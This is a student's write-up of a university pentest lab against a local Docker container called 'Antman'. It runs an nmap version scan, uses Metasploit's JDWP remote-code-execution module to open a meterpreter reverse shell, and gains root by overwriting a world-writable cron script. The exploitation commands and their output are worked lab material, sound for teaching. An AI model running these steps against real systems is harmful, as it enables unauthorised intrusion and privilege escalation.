Writeup – Antman

Areeb Hussain
Mtr: 3133658

We need to build up the container first. This can be done by going to the antman contianer directory and then using the command

$ sudo docker compose up -d
After completion the conatiner should be running and now we can get the ip address of the webserver.

To do this get out of the container's directory and go to the **file** directory. We use the script **./getcontainerip.sh <name of docker container>**

In our case **antman_container** and we get the ip

Ip addr: **172.17.0.2**

TASK 1:
Perform a port scan on the target system. Scan for the 2000 most common ports, including a version scan. What service is running on TCP port 4141?

To do this, follow the command
nmap –topports 2000 -sV 172.17.0.2

```
areeb@areeb-virtual-machine:~/Desktop/Pentest/pentesting-thu-2022/containers/antman$ nmap --top-ports 2000 -sV 172.17.0.2
Starting Nmap 7.80 ( https://nmap.org ) at 2022-11-30 18:56 CET
Nmap scan report for 172.17.0.2
Host is up (0.00031s latency).
Not shown: 1996 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
4141/tcp open  jdwp    Java Debug Wire Protocol (Reference Implementation) version 1.8 1.8.0_352
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
8080/tcp open  http    Apache Tomcat 8.5.16

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds
```

By the result we can see that the open ports and the service running on those ports. By the looks of it, we would be needing **jdwp service** for the next task. A point to note that the service is running on **port 4141**

TASK 2:

Compromise the system using the Metasploit module "java_jdwp_debugger". You can find the flag in the root directory of the server.

Start Metaspolit and search for jdwp service by typing **search java jdwp** in the msf6 console
Theres only 1 Module that pops up with the id no 0

```
msf6 > search java jdwp

Matching Modules
================

   #  Name                                  Disclosure Date  Rank  Check  Description
   -  ----                                  ---------------  ----  -----  -----------
   0  exploit/multi/misc/java_jdwp_debugger  2010-03-12       good  Yes    Java Debug Wire Protocol Remote Code Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/misc/java_jdwp_debugger
```

As stated at the bottom we can use this module by the command **use exploit/multi/misc/java_jdwp_debugger or**

use 0

Once we are in we can use command **show options** to see the payload options, Module options

```
msf6 > use 0
[*] No payload configured, defaulting to linux/aarch64/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_jdwp_debugger) > show options

Module options (exploit/multi/misc/java_jdwp_debugger):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   RESPONSE_TIMEOUT  10               yes       Number of seconds to wait for a server response
   RHOSTS                             yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Us
                                                -Metasploit
   RPORT             8000             yes       The target port (TCP)
   TMP_PATH                           no        A directory where we can write files. Ensure there is a trailing slash


Payload options (linux/aarch64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.208.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux (Native Payload)
```

Now under Module options we set the parameters by using commands
set RHOSTS: 172.17.0.2 (Target host)
set RPORT: 4141 (Target port service is running on)

For payloads, we will use the default reverse_tcp linux payload but still we can look for other payloads using **show payloads.** We still need to change the default payload to x64/x86 from aarch64

Under Payload options we select payload by using command
set payload (linux/x64/meterpreter/reverse_tcp)
set LHOST 172.17.0.1 (our docker 0 ip)
set LPORT 4444 (Listener port can be any open port)

and you are good to go. Check if everything is correct by show options and the output would be something like this

```
msf6 exploit(multi/misc/java_jdwp_debugger) > show options

Module options (exploit/multi/misc/java_jdwp_debugger):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   RESPONSE_TIMEOUT  10               yes       Number of seconds to wait for a server response
   RHOSTS            172.17.0.2       yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki
   RPORT             4141             yes       The target port (TCP)
   TMP_PATH                           no        A directory where we can write files. Ensure there is a trailing slash


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.17.0.1       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux (Native Payload)



View the full module info with the info, or info -d command.
```

Now just use commande **msf6> exploit**

After we execute, we immediately get a reverse shell, in which we execute `ls`. We then find the flag in directory **flag_4_antman.txt**

```
meterpreter > ls
Listing: /
==========

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100755/rwxr-xr-x  0     fil   2022-11-30 18:51:25 +0100  .dockerenv
040755/rwxr-xr-x  4096  dir   2022-11-30 18:44:01 +0100  bin
040755/rwxr-xr-x  4096  dir   2018-04-24 10:34:22 +0200  boot
040755/rwxr-xr-x  340   dir   2022-11-30 18:51:27 +0100  dev
040755/rwxr-xr-x  4096  dir   2022-11-30 18:51:25 +0100  etc
100664/rw-rw-r--  25    fil   2022-10-14 14:52:20 +0200  flag_4_antman.txt
040755/rwxr-xr-x  4096  dir   2018-04-24 10:34:22 +0200  home
040755/rwxr-xr-x  4096  dir   2017-05-23 13:32:29 +0200  lib
040755/rwxr-xr-x  4096  dir   2022-10-19 21:28:39 +0200  lib64
040755/rwxr-xr-x  4096  dir   2022-10-19 21:28:01 +0200  media
040755/rwxr-xr-x  4096  dir   2022-10-19 21:28:01 +0200  mnt
040755/rwxr-xr-x  4096  dir   2022-11-30 18:48:04 +0100  opt
040555/r-xr-xr-x  0     dir   2022-11-30 18:51:27 +0100  proc
040700/rwx------  4096  dir   2022-11-30 18:49:33 +0100  root
040755/rwxr-xr-x  4096  dir   2022-11-30 18:51:32 +0100  run
040755/rwxr-xr-x  4096  dir   2022-11-30 18:44:01 +0100  sbin
040755/rwxr-xr-x  4096  dir   2022-10-19 21:28:01 +0200  srv
100644/rw-r--r--  685   fil   2022-11-30 18:51:34 +0100  supervisord.log
100644/rw-r--r--  2     fil   2022-11-30 18:51:30 +0100  supervisord.pid
040555/r-xr-xr-x  0     dir   2022-11-30 18:51:27 +0100  sys
041777/rwxrwxrwx  4096  dir   2022-11-30 19:34:35 +0100  tmp
040755/rwxr-xr-x  4096  dir   2022-10-19 21:28:01 +0200  usr
040755/rwxr-xr-x  4096  dir   2022-11-30 18:42:42 +0100  var

meterpreter > cat flag_4_antman.txt
flag_k1ll1ng_bugs_1s_h4rdmeterpreter >
```

Flag

flag_k1ll1ng_bugs_1s_h4rd

TASK 3:

The /opt/ directory contains a way to escalate your privileges to "root". Can you find it? You can get a root flag in "/root/flag.txt".

Looking around the directories I found an interesting directory **admin**

```
Listing: /opt
=============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040755/rwxr-xr-x  4096  dir   2022-11-30 18:48:38 +0100  admin
040755/rwxr-xr-x  4096  dir   2022-11-30 18:46:35 +0100  tomcat

meterpreter >
```

There's a file **delete-logs.sh** which runs a script automatically via **cron job.** Reading closely we would find the that the script is executed by root (has root permissions) every two minutes and then deletes the logs

```
Listing: /opt/admin
===================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100755/rwxr-xr-x  144   fil   2022-10-14 14:52:20 +0200  delete-logs.sh
040755/rwxr-xr-x  4096  dir   2022-11-30 18:48:13 +0100  logs

meterpreter > cat delete-logs.sh
#!/bin/bash

# Delete any file in the log directory
# This script is executed by root every 2 minutes (via cron job)

rm -rfv /opt/admin/logs/*
meterpreter >
```

To get the flag in root directory, we overwrite the **delete-logs.sh** script with the following lines it with the following lines using a editor
#!/bin/bash
cat /root/flag.txt > /opt/admin/flag.txt

now using the cat command the contents of **flag.txt** in the root directory is copied into the file diretory **/opt/admin/**

```
i#!/bin/bash

# Delete any file in the log directory
# This script is executed by root every 2 minutes (via cron job)

cat /root/flag.txt > /opt/admin/flag.txt
~
~
~
~
~
~
```

Navigate into /*opt/*admin and wait two minutes. The **flag.txt** is available with its contents as the script was executed

Use **cat flag.txt** to see the contents

```
meterpreter > ls
Listing: /opt/admin
===================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100755/rwxr-xr-x  160   fil   2022-11-30 21:00:17 +0100  delete-logs.sh
100644/rw-r--r--  27    fil   2022-11-30 21:04:01 +0100  flag.txt
040755/rwxr-xr-x  4096  dir   2022-11-30 18:48:13 +0100  logs

meterpreter > cat flag.txt
flag_g3t_r00t_or_d1e_tryingmeterpreter >
```

Flag:

flag_g3t_r00t_or_d1e_trying